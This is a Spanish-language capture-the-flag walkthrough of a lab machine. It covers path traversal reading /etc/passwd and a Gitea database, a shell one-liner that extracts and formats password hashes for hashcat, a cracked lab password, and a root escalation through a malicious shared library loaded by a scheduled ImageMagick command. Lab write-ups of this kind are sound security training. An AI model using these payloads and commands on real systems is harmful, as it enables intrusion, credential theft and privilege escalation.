Máquinas/CTF

Máquina resuelta


1. Acceso a la máquina

En el puerto 80 vemos un formulario que genera un json en base a los datos que nosotros enviamos. Si capturamos la peticion, podemos ver como nos redirige a otro endpoint para descargar el formulario.

En dicho endpoint podemos probar si es vulnerable a Path Traversal. Por ejemplo, podemos realizar una peticion GET al siguiente endpoint (/download?ticket=../../../..), establecidno el siguiente payload:

(/download?ticket=../../../../etc/passwd)

En al salidad de dicha petición observamos el archivo /etc/passwd y vemos al siguiente usuario:

developer:x:1000:1000:developer:/home/developer:/bin/bash

 

No podemos observar mucho más de momento, por lo que realizarmos un descubrimiento de subdominios, y descubrimos así el subdominio dev.titanic.htb. Ahí si investigamos y nos dirigimos a la ruta http://dev.titanic.htb/developer/docker-config/src/branch/main/gitea/docker-compose.yml podemos ver el directorio de gitea (software parecido a git).

Buscando en internet vemos que gitea tiene una .bd. Aprovechando la vulnerabilidad de LFI, referenciada en el punto 2, podemos acceder a la .db realizando la siguiente petición GET:

/download?ticket=../../../../home/developer/gitea/data/gitea/gitea.db

 

Una vez abierta la BBDD y obtenidas las tablas y las columnas, podemos utilizar el siguiente comando para extrar los hashes de los usuarios:

# sqlite3 _.._.._.._home_developer_gitea_data_gitea_gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

 

Se nos ocurre crakearlo utilizando para ello el siguiente comando:

# hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user

Vemos como obtenemos los siguientes credenciales developer:25282528.

Accedemos y conseguimos la flag de usuario. Dicha flag ya se podía haber obtenido mediante el LFI documentado en el punto 2.

 

2. Escalado de privilegios

Podemos ver los procesos que están siendo lanzados con la herramienta pspy y vemos como un comando de magick se lanza cada 1 minuto. Si buscamos por algún exploit que tenga que ver con ImageMagick vemos el siguiente: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8.

Se trata de un exploit que permite ejecutar comandos como el usuario que lanzar ImageMagick, es decir, como el usuarios root. Por lo que lo adapatamos para leer la flag de root:

    # gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
        #include <stdio.h>
        #include <stdlib.h>
        #include <unistd.h>

        __attribute__((constructor)) void init(){
            system("cat /root/root.txt > /tmp/root.txt");
            exit(0);
        }
        EOF

    # magick /dev/null /dev/null
    # cat /tmp/root.txt

Y vemos que somos capaces de obtenerla.